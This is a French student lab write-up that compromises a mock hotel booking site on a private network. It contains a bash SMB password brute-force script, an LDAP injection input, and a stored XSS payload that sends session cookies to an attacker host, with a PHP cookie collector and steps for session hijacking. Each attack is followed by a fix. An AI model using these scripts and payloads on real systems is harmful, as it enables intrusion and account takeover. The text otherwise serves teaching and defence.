LÉOCARD Jérémie
Scénario et déroulement de l'attaque
Lien vers l'installation des services et vulnérabilitées : Installation services et vulnérabilitées.
Table des matières
Scénario d'attaque
Le site est un site réservation de chambre pour un hotel 4 étoiles. Mon but sera donc de réserver la meilleure chambre gratuitement.
Présentation rapide du site
L'accueil :

La page de présentation des chambres :

Mon but sera de réserver la Chambre Royale gratuitement.
Brute Force SAMBA
Point de départ
On va partir du fait qu'on a obtenu un reverse shell sur la machine attaquant-interne. Et qu'en faisant un ls on a le fichier informations_access_ressources_entreprise.txt qui possède le contenu suivant :

Scan NMAP du réseau
Pour faire le Brute Force sur SAMBA, on va utiliser le fait qu'on possède le user samba sur lequel on trouvera les partages de fichiers.
Il nous reste à trouver le serveur SAMBA, pour ce faire, on va utiliser l'outil nmap depuis l'attaquant-interne avec la commande :
$sudo nmap 192.168.20.0/24
Le résultat :

Et on remarque qu'il y a la machine 192.168.20.20 qui possède le port 445 d'ouvert. Ce port correspond à un partage SAMBA utilisant TCP/IP.
Force Brute SAMBA
Si on se connecte en anonyme en listant le service SAMBA de la machine 192.168.20.20, on voit qu'il y a un partage \share pour l'entreprise :

Je coderai ici l'outil de force brute SAMBA en bash sous le nom du fichier smb-bruteforce.sh qui contiendra :
#!/bin/bash
# Vérification qu'il y a bien au moins 1 argument
nombre_argument=$#
if ((nombre_argument != 2)) ; then
echo 'NOMBRE ARGUMENT INVALIDE. IL DOIT Y EN AVOIR 2 DE LA SORTE : $smb-bruteforce fichier_password user_samba' >/dev/stderr
exit 1
fi
# Vérification que l'argument 1 est bien un fichier non vide
fichier=$1
if ! [ -s $fichier ] ; then
echo "FICHIER INVALIDE, IL DOIT EXISTER ET NE DOIT PAS ETRE VIDE." >/dev/stderr
exit 1
fi
login=$2
echo "SMB-BruteForce v1 2025 Jérémie Léocard - Un outil académique seulement."
echo ""
echo "SMB-BruteForce commencement le $(date)"
echo "[INFO] $(cat $fichier | wc -l) identifiants à tester"
# Bouclage sur toutes les lignes du fichier d'entrée du user
reussi="False"
for mot_de_passe in $(cat $fichier) ; do
# Au bout de 1 seconde j'arrête la tentative de connexion
resultat_connexion=$(timeout 1 smbclient '\\192.168.20.20\share' -U "$login%$mot_de_passe")
# Si la connexion a été établie, rien ne s'affiche, autrement il y a un message d'erreur
# Le -z test si $resultat_connexion est vide, si oui, il rentre dans le if
if [ -z "$resultat_connexion" ]; then
echo "[RESULTAT] Un couple valide trouvé -> login: $login password: $mot_de_passe"
reussi="True"
fi
done
# En cas d'échec
if [ $reussi = "False" ] ; then
echo "[RESULTAT] Echec du brute force, aucun couple n'a été trouvé"
fi
echo "SMB-BruteForce finit le $(date)"
Je n'oublie évidement pas de rendre le fichier exécutable avec :
$sudo chmod +x smb-bruteforce.sh
Je créer un fichier passwords.txt qui contiendra les mots de passe à tester sur le compte sambauser:
toto
tata
password
test
passwd
abc
def
Je lancerai mon fichier de brute force avec la commande :
$sudo ./smb-bruteforce.sh passwords.txt sambauser
Et voici le résultat :

Récupération du fichier du partage SAMBA
En premier je me connecte au partage avec :
$sudo smbclient '\\192.168.20.20\share' -U sambauser
Et je rentre le mot de passe abc, j'arrive donc sur le partage :

Puis je ferai un ls et je verrais le fichier vieux_comptes_admin_ldap :

Et je récupererai le fichier sur ma machine attaquant-interne avec :
smb: \> get vieux_comptes_admin_ldap

Et j'aurai une information très importante, le mot de passe des anciens admin !

Correction de la faille :
Cacher le partage
Faire en sorte que le partage soit caché, à l'intérieur du fichier /etc/samba/smb.conf dans le [share] mettre browseable à no :
browseable = no
Puis redémarrer le service avec $sudo systemctl restart smbd.
Désormais, si on se connecte en anonyme, on ne voit plus le partage share :

Changement du mot de passe sambauser
Et bien évidement de mettre un mot de passe plus complexe avec :
$sudo smbpasswd -a sambauser
Et ça ne marche plus autant pour le smn-bruteforce.sh que pour se logger avec smbclient :

Injection LDAP
Point de départ
Grâce au fichier présent sur le partage SAMBA, je sais qu'il existe au moins un compte admin ldap qui possède le mot de passe toto.
Je vais maintenant essayer d'attaquer le site Web avec une injection LDAP. J'ouvre donc un navigateur depuis Pc-Portable et me connecte sur la page connexion_administration.html :

Mise en oeuvre de l'injection LDAP
Pour réaliser l'attaque, je vais mettre des * en login et en mot de passe comme suit :

Du point de vu du script (traitement_connexion_administration.php), sachant que le code php est le suivant :
$username = $_POST['login'];
$password = $_POST['password'];
$filtre = "(&(uid=$username)(userPassword=$password))";
Il sera interprété de cette façon dans le filtre de recherche !
"(&(uid=*)(userPassword=*))"
La tentative de connexion m'affiche donc tous les comptes de l'annuaire LDAP !

Connexion à un compte admin LDAP
Sachant que le mot de passe d'un admin est toto et que d'après le résultat de l'injection LDAP l'utilisateur ldubois est un admin, je vais tester ces identifiants :

Je suis bien loggé en tant que ldubois et désormais j'ai accès au portail de gestion administrateur (portail_gestion_admin.php) !

Correction de la faille :
Il faudra modifier le code php de traitement_connexion_administration.php en :
$username = $_POST['login'];
$password = $_POST['password'];
$username_securise = ldap_escape($username, '', LDAP_ESCAPE_FILTER);
$password_securise = ldap_escape($password, '', LDAP_ESCAPE_FILTER);
$filtre = "(&(uid=$username_securise)(userPassword=$password_securise))";
Explication :
- ldap_escape() : Fonction PHP dédiée à la sécurisatino des chaînes qu'on va rentrer dans LDAP.
- $username : La variable qu'on veut échapper traiter et être sur que ce ne soit plus une injection LDAP potentielle.
- '' : Correspond aux potentiels caractères à ne pas traiter. Ici j'ai mis une chaîne vide car on veut tout traiter et sécuriser !
- LDAP_ESCAPE_FILTER : Indique le contexte dans lequel la variable sera utilisé. Ici ce sera dans un filtre LDAP, il fait donc des sécurisation supplémentaires.
Désormais, si je met en identifiant * et en mot de passe *, on voit que ça ne fonctionne plus !

Ce qui donne :

Attaque XSS
Point de départ
Je me connecte en administrateur sur le site et je vais sur la page portail_gestion_admin.php.
Chargement du Payload sur le site (XSS Stored)
Ici, mon payload sera :
<script>new Image().src="http://192.168.56.1/index.php?cookie="+document.cookie;</script>
Je vais l'insérer dans les messages à envoyer et afficher aux managers de leurs côté dans le dashboard des managers :

Une fois envoyé, mon payload sera stocké dans la BDD mysql message_administrateur dans la table message.

Récupération du PHPSESSID sur Pc-Portable
Le payload sera chargé lors d'une connexion à la page. Ici, j'ai simulé une connexion avec une session manager en affichant la page portail_gestion_manager.php.

Sur ma machine Pc-Portable qui possède le paquet apache2, je vois bien la requête en GET qui contient la session PHP de la victime arriver dans le fichier /var/log/apache2/access.log :

Il ne reste plus qu'à écrire un script index.php qui est sur mon Pc-Portable qui recevra avec GET le PHPSESSID. Il faudra absolument que la machine Pc-Portable possède les paquet php et libapache2-mod-php !! :
<?php
// On test si il y a une valeur dans le GET qui est cookie
if (isset($_GET['cookie'])) {
// On ouvre le fichier cookie.txt en placant le curseur fin du fichier grâce à 'a'. Ca va permettre d'écrire à la fin sans réécrire sur qu'il y a déjà
$fichier_cookie = fopen('cookie.txt', 'a');
// Ajout de l'heure et du cookie
fwrite($fichier_cookie, date('H:i:s').' COOKIE_MANAGER='.$_GET['cookie']."\n");
// Fermeture propre du fichier
fclose($fichier_cookie);
}
?>
Une fois que j'ai rechargé la page depuis le poste-manager qui possède une connexion en tant que manager, j'obtiens bien son cookie dans cookie.txt sur ma machine Pc-Portable :

Réutilisation du Cookie de session PHPSESSID
Il va falloir ouvrir sur la machine Pc-Portable un navigateur et se connecter en tant qu'administrateur. Une fois fait, on va faire faire appuyer sur la touche F12 et se rendre dans Storage et lister les Cookies comme suit :

Je double clique ensuite sur la valeur en dessous de Value et je met le PHPSESSID du manager puis j'appuie sur la touche Entrer :

Désormais je suis loggé en tant que manager et je peux accèder à la page portail_gestion_manager.php !

Correction de la faille :
Il faut dans le fichier gestion_portail_manager.php, au moment de l'affichage des messages dans le php appliquer la fonction htmlspecialchars() comme suit :
<?php
echo htmlspecialchars($ligne['objet'], ENT_QUOTES, 'UTF-8')."</br>";
echo htmlspecialchars($ligne['message'], ENT_QUOTES, 'UTF-8')."</br>";
?>
Explication :
- htmlspecialchars() : C'est une fonction de sécurité de PHP qui va transformer les caractères potentiellements dangereux en texte simple.
- ENT_QUOTES : Permet re rajouter le fait de transformer en texte simple les caractères ' et ".
- 'UTF-8' : Pour éviter les bugs liés à d'anciennes normes d'encodage (des petites failles de sécurité également).
Ecriture table MYSQL
Ici, toutes les failles ont été exploitées et il ne reste plus qu'à se réserver la meilleure chambre !
En premier, je vais me créer un compte client depuis la page inscription_client.html :

La page de confirmation :

Puis je me connecte avec mon cookie manager et je vais dans portail_gestion_manager.php et j'enregistre la nouvelle réservation pour tbarek :

Et je vais voir dans la table mysql reservation :

Fin de la SAÉ